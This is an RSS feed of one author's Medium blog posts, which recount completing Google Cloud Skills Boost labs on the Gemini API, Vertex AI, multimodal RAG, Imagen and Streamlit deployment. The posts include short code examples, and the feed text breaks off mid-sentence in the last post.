<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Yash Ashok Shirsath on Medium]]></title>
        <description><![CDATA[Stories by Yash Ashok Shirsath on Medium]]></description>
        <link>https://medium.com/@Yash22222?source=rss-bd716feac23f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*C3V2fy3TV8pKnoB8Y8enTQ.jpeg</url>
            <title>Stories by Yash Ashok Shirsath on Medium</title>
            <link>https://medium.com/@Yash22222?source=rss-bd716feac23f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 12:50:15 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@Yash22222/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Explore Generative AI with the Gemini API in Vertex AI]]></title>
            <link>https://medium.com/@Yash22222/explore-generative-ai-with-the-gemini-api-in-vertex-ai-e618856fdf74?source=rss-bd716feac23f------2</link>
            <guid isPermaLink="false">https://medium.com/p/e618856fdf74</guid>
            <category><![CDATA[vertex-ai]]></category>
            <category><![CDATA[generative-ai]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[gemini-api]]></category>
            <category><![CDATA[machine-learning]]></category>
            <dc:creator><![CDATA[Yash Ashok Shirsath]]></dc:creator>
            <pubDate>Fri, 16 May 2025 07:30:41 GMT</pubDate>
            <atom:updated>2025-05-16T07:30:41.951Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Iv-JITwFh7bBa_2_.png" /></figure><p>In the rapidly evolving world of Generative AI, Google’s <strong>Gemini API</strong> within <strong>Vertex AI</strong> stands out as a robust and scalable solution for building multimodal, intelligent applications. Throughout four intensive labs, I explored its capabilities, starting with the basics and moving on to more advanced applications like function calling and multimodal content generation.</p><p>This blog is a step-by-step reflection of my experience with</p><ol><li>Getting Started with the Gemini API in Vertex AI</li><li>Multimodality with Gemini</li><li>Introduction to Function Calling with Gemini</li><li>Explore Generative AI with the Gemini API in Vertex AI: Challenge Lab</li></ol><h3>Getting Started with the Gemini API in Vertex AI</h3><p>They laid the foundation for using the <strong>Gemini 2.0 Flash</strong> model. Here’s what I did:</p><h3>Key Learnings</h3><ul><li>Used the <strong>Vertex AI SDK</strong> for Python to connect with Gemini.</li><li>Sent <strong>text prompts</strong> and received generative text responses.</li><li>Explored <strong>streaming responses</strong>, where Gemini delivers output as it’s generated.</li><li>Customized <strong>safety filters</strong> to control the nature of content.</li><li>Simulated <strong>chat-based multi-turn interactions</strong>.</li></ul><p>Example Prompt</p><pre>model.generate_content(&quot;Summarize the benefits of using Vertex AI for generative models.&quot;)</pre><p>This lab helped me build a solid understanding of interacting with large language models in a flexible, Pythonic way.</p><h3>Multimodality with Gemini</h3><p>Gemini isn’t just about text, it supports <strong>images, audio, and video</strong> too. This lab was focused on exploring <strong>multimodal inputs</strong>.</p><h3>What I Explored</h3><ul><li>Generated text based on <strong>images</strong> and <strong>videos</strong>.</li><li>Combined <strong>multiple image+text inputs</strong> for few-shot learning.</li><li>Passed image prompts from both <strong>local files</strong> and <strong>web URLs</strong>.</li><li>Evaluated how the model interprets <strong>complex multimodal content</strong>.</li></ul><h3>Example Use Case</h3><blockquote><em>I fed in a chart image + a text prompt and asked Gemini to summarize trends.</em></blockquote><p>This was a real eye-opener into how truly “intelligent” modern AI models are becoming at interpreting visual data alongside text.</p><h3>Introduction to Function Calling with Gemini</h3><p>Gemini’s <strong>Function Calling</strong> is a game changer, allowing the model to interact with external tools or functions based on natural language queries.</p><h3>What I Built</h3><ul><li>Defined Python functions for weather lookup, data processing, etc.</li><li>Registered these functions with Gemini using the tools parameter.</li><li>Let Gemini <strong>decide when and how to call them</strong> based on prompt context.</li></ul><h3>Example</h3><pre>def get_weather(city: str):<br>    return f&quot;The weather in {city} is sunny.&quot;<br><br># Gemini decides to call this when prompted with:<br>&quot;What&#39;s the weather in Mumbai today?&quot;</pre><p>This bridges the gap between <strong>natural language reasoning</strong> and <strong>actionable APIs</strong>, bringing real interactivity into AI workflows.</p><h3>Challenge Lab Putting It All Together</h3><p>This was the <strong>capstone lab</strong>, where I applied everything I had learned to solve open-ended tasks using the Gemini API.</p><h3>Objectives</h3><ul><li>Initialize Vertex AI and configure Gemini models.</li><li>Engineer effective prompts.</li><li>Handle <strong>multimodal inputs</strong> (text + image).</li><li>Use <strong>Function Calling</strong> to fetch or manipulate data.</li><li>Process and format responses for a real-world app simulation.</li></ul><p>This lab tested not only my technical skills but also my <strong>problem-solving and integration mindset</strong>, just like building an actual AI powered feature in production.</p><h3>Key Takeaways</h3><ul><li>The <strong>Gemini 1.5 Flash and Pro</strong> models are remarkably fast and capable across modalities.</li><li><strong>Vertex AI Workbench</strong> provides a smooth environment for rapid prototyping and experimentation.</li><li>Combining <strong>multimodality</strong>, <strong>function calling</strong>, and <strong>prompt engineering</strong> opens doors to advanced AI assistants.</li><li>These labs gave me production-ready skills for building <strong>intelligent, multimodal applications</strong>.</li></ul><h3>What’s Next</h3><p>With these foundational labs complete, I’m excited to dive deeper into</p><ul><li>Finetuning and system instruction optimization</li><li>Building real-world apps using Gemini + Firebase or Streamlit</li><li>Deploying Gemini-based APIs on the web</li></ul><p>Stay tuned for more posts where I’ll share live projects built using the <strong>Gemini API</strong> and <strong>Vertex AI</strong>!</p><h3>Resources</h3><ul><li><a href="https://cloud.google.com/vertex-ai">Vertex AI Documentation</a></li><li><a href="https://cloud.google.com/vertex-ai/docs/generative-ai/">Gemini API Overview</a></li><li><a href="https://cloud.google.com/vertex-ai/docs/generative-ai/model-reference/gemini#function-calling">Function Calling Guide</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e618856fdf74" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Inspect Rich Documents with Gemini Multimodality and Multimodal RAG]]></title>
            <link>https://medium.com/@Yash22222/inspect-rich-documents-with-gemini-multimodality-and-multimodal-rag-ea0aa9677d92?source=rss-bd716feac23f------2</link>
            <guid isPermaLink="false">https://medium.com/p/ea0aa9677d92</guid>
            <category><![CDATA[rags]]></category>
            <category><![CDATA[google-cloud-platform]]></category>
            <category><![CDATA[gemini]]></category>
            <category><![CDATA[google-cloud]]></category>
            <dc:creator><![CDATA[Yash Ashok Shirsath]]></dc:creator>
            <pubDate>Wed, 30 Apr 2025 19:50:54 GMT</pubDate>
            <atom:updated>2025-04-30T19:50:54.616Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XQqc0DHcHStkXw6ScLVOLw.png" /></figure><p>In today’s data-driven world, rich documents — like PDFs, brochures, and reports — often contain <strong>text</strong>, <strong>images</strong>, <strong>tables</strong>, and <strong>charts</strong>. Manually extracting insights from them is time-consuming.</p><p>That’s where <strong>multimodal AI</strong> steps in.</p><p>I recently completed the <strong>“Inspect Rich Documents with Gemini Multimodality and Multimodal RAG”</strong> course on Google Cloud. This hands-on course uses <strong>Gemini</strong>, Google’s multimodal large language model, to <strong>analyze, summarize, and extract insights</strong> from complex documents.</p><p>Here’s a summary of the four labs I completed as part of this course, and how I applied <strong>Multimodal RAG</strong> and <strong>Vertex AI</strong> to build powerful document analysis workflows.</p><h3>Multimodality with Gemini</h3><p>This introductory lab taught how to use <strong>Gemini’s multimodal capabilities</strong> in <strong>Vertex AI</strong> to process <strong>text</strong> and <strong>images</strong> in a single query.</p><h3>What I Did</h3><ul><li>Used gemini-1.0-pro-vision to process image + text input</li><li>Asked Gemini to describe what’s shown in a provided image (e.g., scones)</li><li>Received a human-like summary generated from both visual and text input</li></ul><pre>from vertexai.generative_models import GenerativeModel, Part<br><br>model = GenerativeModel(&quot;gemini-1.0-pro-vision&quot;)<br>response = model.generate_content([<br>    Part.from_uri(&quot;gs://.../scones.jpg&quot;, mime_type=&quot;image/jpeg&quot;),<br>    &quot;What is shown in this image?&quot;<br>])</pre><blockquote><strong><em>Takeaway</em></strong><em>:- Gemini understands and reasons about both visual and textual content simultaneously — essential for real-world document processing.</em></blockquote><h3>Using Gemini for Multimodal Retail Recommendations</h3><p>This lab simulated a retail use case where a <strong>product image + customer preference</strong> is used to recommend similar items.</p><h3>What I Did</h3><ul><li>Sent a product image (e.g., a sneaker) to Gemini</li><li>Added a query like “I want something similar in red with more cushioning”</li><li>Gemini responded with a product description based on visual similarity + request</li></ul><blockquote><strong><em>Real world Use Case</em></strong><em>:- Personalized e-commerce recommendations using product photos and customer intent.</em></blockquote><blockquote><strong><em>Why It Matters</em></strong><em>:- Traditional AI systems separate vision and language. Gemini blends both for richer, context-aware recommendations.</em></blockquote><h3>Multimodal Retrieval Augmented Generation (RAG)</h3><p>This was the most important building block of the course:- <strong>Multimodal RAG</strong>, which combines <strong>retrieval of relevant data</strong> with <strong>generative reasoning</strong>.</p><h3>What I Did</h3><ul><li>Loaded a rich document with text and images</li><li>Used RAG techniques to <strong>retrieve context</strong> from the document</li><li>Sent that context to Gemini for an <strong>augmented, accurate answer</strong></li></ul><p>Example scenario: Asking Gemini, “Summarize the comparison table between Model A and B,” and retrieving that specific part of the document first before generation.</p><blockquote><strong><em>Takeaway</em></strong><em>:- RAG ensures Gemini’s outputs are </em><strong><em>grounded in your data</em></strong><em>, not just general knowledge. This is critical in business, law, and research use cases.</em></blockquote><h3>Challenge Lab:- Inspect Rich Documents with Multimodal RAG</h3><p>The final lab was a real-world challenge: Build a <strong>complete multimodal RAG pipeline</strong> to analyze rich documents.</p><h3>Scenario</h3><p>A business analyst uploads a <strong>multi-page product brochure</strong> and asks</p><blockquote><em>“Which product has the best energy efficiency?”</em></blockquote><h3>What I Built</h3><ul><li>Used Gemini Vision to extract text + images from the brochure</li><li>Used retrieval logic to find relevant sections dynamically</li><li>Prompted Gemini with the extracted snippets</li><li>Returned a grounded, summarized answer to the user</li></ul><blockquote><strong><em>Outcome</em></strong><em>: A working system that inspects real documents and answers user questions with context-aware insights.</em></blockquote><h3>GitHub Repository</h3><p>All my code and lab documentation are available in this open-source repo:</p><p>👉 <a href="https://github.com/Yash22222/Inspect-Rich-Documents-with-Gemini-Multimodality-and-Multimodal-RAG">Inspect Rich Documents with Gemini Multimodality and Multimodal RAG</a></p><h3>Key Learnings</h3><ul><li><strong>Multimodal AI</strong> is not just about vision + language — it’s about <strong>contextual reasoning across formats</strong>.</li><li>Gemini models can understand charts, forms, and complex document layouts.</li><li><strong>RAG is essential</strong> when you want responses grounded in private data, not general LLM knowledge.</li><li><strong>Vertex AI makes this easy to deploy</strong> with SDKs, APIs, and GCP-native tools.</li></ul><h3>Final Thoughts</h3><p>This course opened my eyes to the real world potential of multimodal LLMs.</p><p>If you’re building apps that need to understand and summarize rich documents (invoices, reports, handbooks), combining <strong>Gemini + RAG + Vertex AI</strong> is the best approach right now.</p><p>Thanks to Google Cloud for enabling this journey.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ea0aa9677d92" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Develop GenAI Apps with Gemini and Streamlit]]></title>
            <link>https://medium.com/@Yash22222/develop-genai-apps-with-gemini-and-streamlit-a1dadcb18b10?source=rss-bd716feac23f------2</link>
            <guid isPermaLink="false">https://medium.com/p/a1dadcb18b10</guid>
            <category><![CDATA[llm]]></category>
            <category><![CDATA[genai]]></category>
            <category><![CDATA[machine-learning]]></category>
            <category><![CDATA[gemini]]></category>
            <category><![CDATA[streamlit]]></category>
            <dc:creator><![CDATA[Yash Ashok Shirsath]]></dc:creator>
            <pubDate>Sat, 19 Apr 2025 19:18:11 GMT</pubDate>
            <atom:updated>2025-04-19T19:18:11.185Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C1a1-VDnkcUl08OfJ_BB2g.png" /></figure><p>With the rapid evolution of Generative AI, there’s never been a better time to build intelligent, scalable applications. Recently, I completed the hands-on course <strong>“Develop GenAI Apps with Gemini and Streamlit”</strong> from Google Cloud, which taught me how to combine <strong>Gemini</strong>, <strong>Streamlit</strong>, and <strong>Vertex AI</strong> to build powerful GenAI web apps.</p><p>This blog summarizes all <strong>five labs</strong> I completed, including key learnings, use cases, and how I deployed real AI apps using these technologies.</p><h3>Getting Started with the Gemini API in Vertex AI using cURL</h3><p>The first lab introduces the <strong>Gemini API</strong> and how to interact with it using simple cURL commands.</p><h4>Key Takeaways:-</h4><ul><li>Authenticate using Google Cloud CLI</li><li>Make POST requests to the Gemini endpoint</li><li>Send prompts and receive structured JSON responses</li></ul><pre>curl -X POST \<br>-H &quot;Authorization: Bearer $(gcloud auth print-access-token)&quot; \<br>-H &quot;Content-Type: application/json&quot; \<br>-d &#39;{&quot;contents&quot;:[{&quot;parts&quot;:[{&quot;text&quot;:&quot;What is generative AI?&quot;}]}]}&#39; \<br>https://us-central1-aiplatform.googleapis.com/v1beta1/projects/YOUR_PROJECT_ID/locations/us-central1/publishers/google/models/gemini-pro:generateContent</pre><blockquote><em>🔹 </em><strong><em>Learning</em></strong><em>: Even without code, you can leverage powerful LLMs through REST API calls.</em></blockquote><h3>Introduction to Function Calling with Gemini</h3><p>In this lab, we explore <strong>function calling</strong> — one of Gemini’s most powerful features. It allows the model to decide when to trigger a custom function based on the conversation.</p><h4>Features Implemented:-</h4><ul><li>Define Python functions (e.g., get_weather(city))</li><li>Register them with Gemini’s function call interface</li><li>Let Gemini decide which function to call from a natural prompt</li></ul><blockquote><em>🔍 Example: Ask </em>“What’s the weather like in Tokyo?”<em>, and Gemini will automatically invoke the weather function.</em></blockquote><blockquote><em>💡 </em><strong><em>Learning</em></strong><em>: Function calling bridges AI with real APIs, making it ideal for building agents, assistants, or automation tools.</em></blockquote><h3>Build a Streamlit Application with Gemini</h3><p>Now that we know how to interact with Gemini, let’s make things visual! This lab walks you through building a <strong>Streamlit web app</strong> to send prompts and display responses.</p><h4>What I built:-</h4><ul><li>Simple Streamlit interface to accept user input</li><li>Sends prompt to Gemini using google-cloud-aiplatform</li><li>Displays Gemini’s response dynamically</li><li>Supports <strong>streaming responses</strong> for a real time chat feel</li></ul><pre>import streamlit as st<br>from vertexai.language_models import ChatModel<br><br>chat = ChatModel.from_pretrained(&quot;gemini-pro&quot;).start_chat()<br>prompt = st.text_input(&quot;Enter your question:&quot;)<br><br>if prompt:<br>    with st.spinner(&quot;Thinking...&quot;):<br>        response = chat.send_message(prompt, stream=True)<br>        for chunk in response:<br>            st.write(chunk.text, end=&quot;&quot;)</pre><blockquote><em>🎯 </em><strong><em>Learning</em></strong><em>: With just a few lines of code, you can convert any GenAI model into a fully functional UI based app.</em></blockquote><h3>Utilize Streamlit with Cloud Run and Gemini API</h3><p>Having a local Streamlit app is cool, but what if the world could access it? That’s what this lab helps you achieve using <strong>Cloud Run</strong>!</p><h4>Steps:-</h4><ul><li>Create a Dockerfile For your app</li><li>Containerize it using Cloud Build</li><li>Deploy the app with Cloud Run</li><li>Get a <strong>public URL</strong> for real-time access</li></ul><pre>FROM python:3.9-slim<br>WORKDIR /app<br>COPY . .<br>RUN pip install -r requirements.txt<br>CMD [&quot;streamlit&quot;, &quot;run&quot;, &quot;app.py&quot;, &quot;--server.port=8080&quot;, &quot;--server.address=0.0.0.0&quot;]</pre><blockquote><em>🌍 </em><strong><em>Learning</em></strong><em>: You can deploy intelligent apps globally without managing servers using </em><strong><em>Cloud Run</em></strong><em>.</em></blockquote><h3>Challenge Lab AI Chef App for Low-Sodium Japanese Recipes</h3><p>This final lab was an exciting challenge: Build a real-world GenAI app for a <strong>chef</strong> who wants to create <strong>low-sodium Japanese recipes</strong> without peanuts. The app must:</p><h4>Requirements:-</h4><ul><li>Accept input ingredients (e.g., Ahi Tuna, Edamame, Ginger)</li><li>Avoid allergenic (e.g., peanut-based) ingredients</li><li>Recommend meals tailored for red wine lovers</li><li>Provide full recipe details, prep time, and nutrition info</li></ul><h4>Features I Built:-</h4><ul><li>Used Gemini to generate recipe titles, steps, and wine pairings</li><li>Streamlit UI for ingredient input</li><li>Deployed on Cloud Run for global access</li></ul><h4>Sample Output:-</h4><p><strong>Recipe Title</strong>: <em>Ahi Tuna Tataki with Edamame Ginger Puree</em><br> <strong>Preparation Time</strong>: 25 mins<br> <strong>Wine Pairing</strong>: Pinot Noir<br> <strong>Calories</strong>: 350 kcal<br> <strong>Nutrition</strong>: Low sodium, high protein, allergen-safe</p><blockquote><em>👨‍🍳 </em><strong><em>Learning</em></strong><em>:- Real-world AI apps must consider constraints, preferences, and safety — all of which are possible with Gemini + Streamlit.</em></blockquote><h4>🔗 <a href="https://github.com/Yash22222/Develop-GenAI-Apps-with-Gemini-and-Streamlit">Build GenAI Apps with Gemini &amp; Streamlit</a></h4><h4>Final Thoughts</h4><p>This course helped me understand how to go from <strong>prompt engineering to production deployment</strong>. I learned how to:-</p><ul><li>Use Gemini models for intelligent responses</li><li>Integrate LLMs into <strong>web UIs using Streamlit</strong></li><li>Enable function calling to make models more useful</li><li>Package and deploy using <strong>Docker + Cloud Run</strong></li><li>Solve real-world problems using <strong>AI responsibly</strong></li></ul><p>If you’re starting in <strong>AI application development</strong>, this course is <strong>a must try experience</strong>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a1dadcb18b10" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Build Real World AI Applications with Gemini and Imagen]]></title>
            <link>https://medium.com/@Yash22222/build-real-world-ai-applications-with-gemini-and-imagen-33a93c3c4c57?source=rss-bd716feac23f------2</link>
            <guid isPermaLink="false">https://medium.com/p/33a93c3c4c57</guid>
            <category><![CDATA[google-cloud-platform]]></category>
            <category><![CDATA[machine-learning]]></category>
            <category><![CDATA[imagen]]></category>
            <category><![CDATA[gemini]]></category>
            <category><![CDATA[vertex-ai]]></category>
            <dc:creator><![CDATA[Yash Ashok Shirsath]]></dc:creator>
            <pubDate>Fri, 18 Apr 2025 15:39:18 GMT</pubDate>
            <atom:updated>2025-04-18T15:39:18.720Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*vidYpoVYS4FK46KZYS2l2A.png" /></figure><h3>Introduction</h3><p>Generative AI is changing the way we build and interact with applications. With the power of Google’s <strong>Vertex AI</strong>, we now have access to some of the world’s most powerful large language models, <strong>Gemini</strong> and <strong>Imagen,</strong> to build intelligent, multimodal applications that understand and generate both <strong>text and images</strong>.</p><p>In this blog, I walk you through my hands-on experience with <strong>four labs</strong> under the <strong>“Build Real World AI Applications with Gemini and Imagen”</strong> challenge using <strong>Google Cloud Vertex AI</strong>.</p><p>By the end of this blog, you’ll understand how to:-</p><ul><li>Connect with Google Cloud Vertex AI services.</li><li>Use Gemini for chat and image interpretation.</li><li>Use Imagen to generate photorealistic images from prompts.</li><li>Build interactive, real-world GenAI applications.</li></ul><h3>1. Build an AI Image Recognition App using Gemini</h3><p>In this lab, I built a simple <strong>image recognition app</strong> that sends both image and text input to <strong>Gemini-1.0-Pro-Vision</strong>, and receives descriptive responses.</p><h3>💡 Key Learnings:-</h3><ul><li>Connecting to <strong>Vertex AI</strong> using vertexai.init()</li><li>Using <strong>GenerativeModel</strong> to load gemini-1.0-pro-vision</li><li>Creating multimodal prompts with Part.from_uri()</li><li>Extracting and printing text-based answers</li></ul><pre>response = multimodal_model.generate_content([<br>    Part.from_uri(&quot;gs://.../image.jpg&quot;, mime_type=&quot;image/jpeg&quot;),<br>    &quot;What is shown in this image?&quot;<br>])</pre><p>This shows the foundation of building Gemini-based applications that understand <strong>visual input + questions</strong>.</p><h3>2. Build an AI Image Generation App using Imagen</h3><p>In this lab, I explored <strong>Imagen</strong>, Google’s text-to-image model that creates stunning visuals from a simple description.</p><h3>Objective:-</h3><p>Create a function generate_bouquet_image(prompt) that calls <strong>Imagen 002</strong> and saves the generated image locally.</p><pre>images = model.generate_images(<br>    prompt=&quot;Create an image containing a bouquet of 2 sunflowers and 3 roses&quot;,<br>    number_of_images=1,<br>    seed=123,<br>    add_watermark=False<br>)<br>images[0].save(location=&quot;bouquet.jpg&quot;)</pre><p>This was one of the most visually rewarding labs. The image output is photorealistic and demonstrates how prompt engineering directly influences creativity.</p><h3>3. Build an Application to Send Chat Prompts using Gemini</h3><p>This lab demonstrated how to integrate <strong>chat-like prompt handling</strong> in a Python application using <strong>Gemini Pro</strong>.</p><h3>💬 Flow:-</h3><ul><li>Use Gemini’s chat completion to generate text</li><li>Initialize the chat model</li><li>Send multiple turns of messages as input</li></ul><pre>chat = model.start_chat()<br>response = chat.send_message(&quot;Explain how generative AI works.&quot;)<br>print(response.text)</pre><p>This unlocked the <strong>power of conversational applications</strong>, which can be extended into customer support bots, writing assistants, and more.</p><h3>4. Build a Multi-Modal GenAI Application (Challenge Lab)</h3><p>The final lab is a <strong>challenge</strong> where we combine everything:-</p><blockquote><em>Scenario:- You’re an AI developer in a flower bouquet design company. Customers describe their dream bouquet, and the system</em></blockquote><ol><li>Generates images using <strong>Imagen</strong></li><li>Analyzes those images with <strong>Gemini</strong></li><li>Generates creative <strong>birthday messages</strong></li></ol><h3>T1 Generate a Bouquet Image</h3><p>We used the imagegeneration@002 model to generate a local image of a bouquet with a specific number of sunflowers and roses.</p><pre>python3 generate_bouquet_image.py \<br>  --project_id=$ID \<br>  --location=$REGION \<br>  --prompt=&quot;Create an image containing a bouquet of 2 sunflowers and 3 roses&quot; \<br>  --output_file=&quot;bouquet.jpg&quot;</pre><h3>T2 Analyze the Image with Gemini and Write a Message</h3><p>Using <strong>Gemini Flash (</strong><strong>gemini-2.0-flash-001)</strong>, we sent the generated image and a prompt like</p><blockquote><em>“Write a sweet birthday wish based on this bouquet image.”</em></blockquote><p>This gave us beautiful, human-like birthday messages with <strong>streaming output</strong>.</p><pre>responses = model.generate_content(<br>    [image_part, text_prompt],<br>    stream=True<br>)</pre><h3>What I Learned</h3><ul><li><strong>Vertex AI SDK</strong> is developer-friendly and well-integrated into Python workflows.</li><li><strong>Prompt engineering</strong> plays a vital role in both Gemini and Imagen responses.</li><li>Streaming responses feel <em>real-time</em> and make apps more responsive.</li><li>You can combine multiple GenAI models to build <strong>multi-modal</strong> use cases.</li><li>All code files, lab steps, and sample outputs are available in my repo:- <a href="https://github.com/Yash22222/Build-Real-World-AI-Applications-with-Gemini-and-Imagen">github.com/Yash22222/Build-Real-World-AI-Applications-with-Gemini-and-Imagen</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=33a93c3c4c57" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Prompt Design in Vertex AI]]></title>
            <link>https://medium.com/@Yash22222/prompt-design-in-vertex-ai-082bf9a015eb?source=rss-bd716feac23f------2</link>
            <guid isPermaLink="false">https://medium.com/p/082bf9a015eb</guid>
            <category><![CDATA[image-analysis]]></category>
            <category><![CDATA[vertex-ai]]></category>
            <category><![CDATA[generative-ai-use-cases]]></category>
            <category><![CDATA[multimodal-ai]]></category>
            <category><![CDATA[prompt-engineering]]></category>
            <dc:creator><![CDATA[Yash Ashok Shirsath]]></dc:creator>
            <pubDate>Fri, 18 Apr 2025 13:46:20 GMT</pubDate>
            <atom:updated>2025-04-18T13:46:20.226Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*AAsuiMNB04ZvPXrrM22Pmw.png" /></figure><h3>Introduction</h3><p>The power of <strong>generative AI</strong> lies in its ability to create content, summaries, ideas, or even images. But at the heart of this creativity lies a crucial skill: <strong>prompt design</strong>. In this blog, I walk you through my hands-on experience with <strong>prompt engineering using Vertex AI on Google Cloud</strong>, through the <strong>Prompt Design in Vertex AI</strong> Challenge Lab.</p><p>I’ve also published a detailed GitHub repository documenting every step of the lab:<br> 🔗 <a href="https://github.com/Yash22222/Prompt-Design-in-Vertex-AI/"><strong>Prompt-Design-in-Vertex-AI GitHub Repository</strong></a></p><p>Whether you’re a student, aspiring ML engineer, or AI researcher, this blog will help you understand how to craft better prompts and utilize Google’s <strong>Gemini</strong> and <strong>PaLM models</strong> through <strong>Vertex AI Studio</strong>.</p><h3>What is Prompt Design?</h3><p><strong>Prompt design</strong>, also called <strong>prompt engineering</strong>, is the art and science of communicating effectively with a large language model (LLM). You can guide the model’s behavior and generate higher-quality, more relevant responses by providing clear instructions, formatting, and examples.</p><p>It plays a major role in:-</p><ul><li>Chatbot responses</li><li>Content summarization</li><li>Business report generation</li><li>Multimodal input handling (e.g., text + image)</li></ul><h3>What is Vertex AI?</h3><p><strong>Vertex AI</strong> is Google Cloud’s platform for training, deploying, and scaling ML models. It now includes access to <strong>Gemini</strong> and <strong>PaLM models</strong>, allowing developers to use Google’s most advanced generative AI capabilities via a clean and intuitive interface called <strong>Vertex AI Studio</strong>.</p><p>With <strong>Vertex AI Studio</strong>, you can:=</p><ul><li>Experiment with LLM prompts</li><li>Configure generation parameters</li><li>Export prompts to code (Python, REST)</li><li>Use multimodal capabilities with Gemini Pro Vision</li></ul><h3>Prompt Design Challenge Lab: Hands-On</h3><p>The <strong>Prompt Design in Vertex AI</strong> lab is a guided exercise to apply prompt engineering techniques in a real-world cloud environment.</p><h3>Objectives of the Lab:-</h3><ul><li>Learn to use <strong>Vertex AI Studio</strong> for prompt creation</li><li>Experiment with prompt parameters like temperature, top-k, top-p, and max tokens</li><li>Apply a <strong>few shot learning</strong> technique</li><li>Compare and improve responses</li><li>Practice crafting prompts for both <strong>text-only</strong> and <strong>multimodal</strong> inputs</li></ul><h3>Prompting in Action: Key Examples</h3><h3>1. Simple Prompt</h3><pre>List 3 advantages of using AI in customer service.</pre><p>Response:=</p><ul><li>Reduces response time</li><li>Improves customer experience</li><li>Enables 24/7 support</li></ul><h3>2. Role-Based Prompt</h3><pre>You are a data analyst. Generate a report summary of a fictional e-commerce company:<br>- Revenue ↑12%<br>- Conversion Rate ↑2.3%<br>- Cart Abandonment ↓10%<br>- Churn Rate ↓1.1%</pre><p>This guides the model to respond from a specific professional context, improving relevance and tone.</p><h3>3. Few Shot Prompting</h3><pre>Input: &quot;Summarize the role of ML in healthcare&quot;<br>Output:  <br>- Enables early disease detection  <br>- Enhances diagnostic accuracy  <br>- Supports personalized treatment  <br><br>Input: &quot;Summarize the role of AI in marketing&quot;<br>Output:</pre><p>By showing the format of a good answer, we help the model replicate the style.</p><h3>Generation Configurations</h3><p>To fine-tune the behavior of the LLM, I experimented with various settings:-</p><pre>|___________________________________________________________________________|<br>|Parameter   | Description                                  | Example Value |<br>|___________________________________________________________________________|<br>|temperature | Controls randomness (0 = deterministic)      | 0.7           |<br>|top_k       | Limits to top K tokens                       | 40            |<br>|top_p       | Nucleus sampling (top % of probability mass) | 0.9           |<br>|max_tokens  | Controls output length                       | 1024          |<br>|___________________________________________________________________________|</pre><p>These configurations help balance <strong>creativity vs. control</strong> in the responses.</p><h3>Multimodal Prompting (Text + Image)</h3><p>Using <strong>Gemini Pro Vision</strong>, I also explored prompts involving image inputs:-</p><pre>from vertexai.preview.generative_models import GenerativeModel, Image<br><br>model = GenerativeModel(&quot;gemini-pro-vision&quot;)<br><br>response = model.generate_content([<br>    &quot;Describe this image in detail.&quot;,<br>    Image.load_from_file(&quot;sample_image.jpg&quot;)<br>])<br><br>print(response.text)</pre><p>This opens up use cases like:-</p><ul><li>Image captioning</li><li>Visual summarization</li><li>Scene analysis</li></ul><h3>My GitHub Repository</h3><p>All the code, prompts, use cases, and learnings from this lab are available in this public repository:</p><p>🔗 <strong>GitHub Repository</strong>:- <a href="https://github.com/Yash22222/Prompt-Design-in-Vertex-AI/">Prompt-Design-in-Vertex-AI</a></p><p>Inside the repo:-</p><ul><li>Prompt templates</li><li>Python scripts with Gemini API</li><li>Notes on config tuning</li><li>Few-shot examples</li><li>Multimodal experimentation</li></ul><p>Feel free to clone, fork, or contribute! 💻</p><h3>Real-World Applications</h3><p>Prompt engineering is useful in:-</p><ul><li>Building conversational AI (chatbots)</li><li>Automating report generation</li><li>Summarizing customer feedback</li><li>Creating AI writing assistants</li><li>Working with image + text data</li></ul><h3>Key Takeaways</h3><ul><li>Prompt design is a critical skill for working with modern LLMs.</li><li>Vertex AI Studio is a powerful tool for prototyping with Google’s LLMs.</li><li>Small tweaks in prompt structure or temperature can dramatically impact response quality.</li><li>Few-shot learning and format instructions significantly improve model output.</li></ul><h3>What’s Next?</h3><p>I plan to extend this project by:-</p><ul><li>Building a <strong>Flask</strong> or <strong>Streamlit</strong> web app using Vertex AI</li><li>Exploring <strong>Dialogflow CX</strong> + <strong>Gemini integration</strong></li><li>Comparing Gemini API with <strong>OpenAI’s GPT models</strong></li><li>Deploying prompt workflows using <strong>Cloud Functions</strong></li></ul><h3>Acknowledgments</h3><p>Thanks to <strong>Google Cloud Skills Boost</strong> and <strong>Vertex AI</strong> for providing access to cutting-edge AI tools. Also, huge shoutout to the community and peers who are constantly innovating in the field of Gen AI!</p><h3>Let’s Connect</h3><p>If you’re interested in:-</p><ul><li>Generative AI</li><li>Prompt Engineering</li><li>LLMs and Multimodal Models</li><li>Building with Google Cloud AI tools</li></ul><p>Feel free to connect or 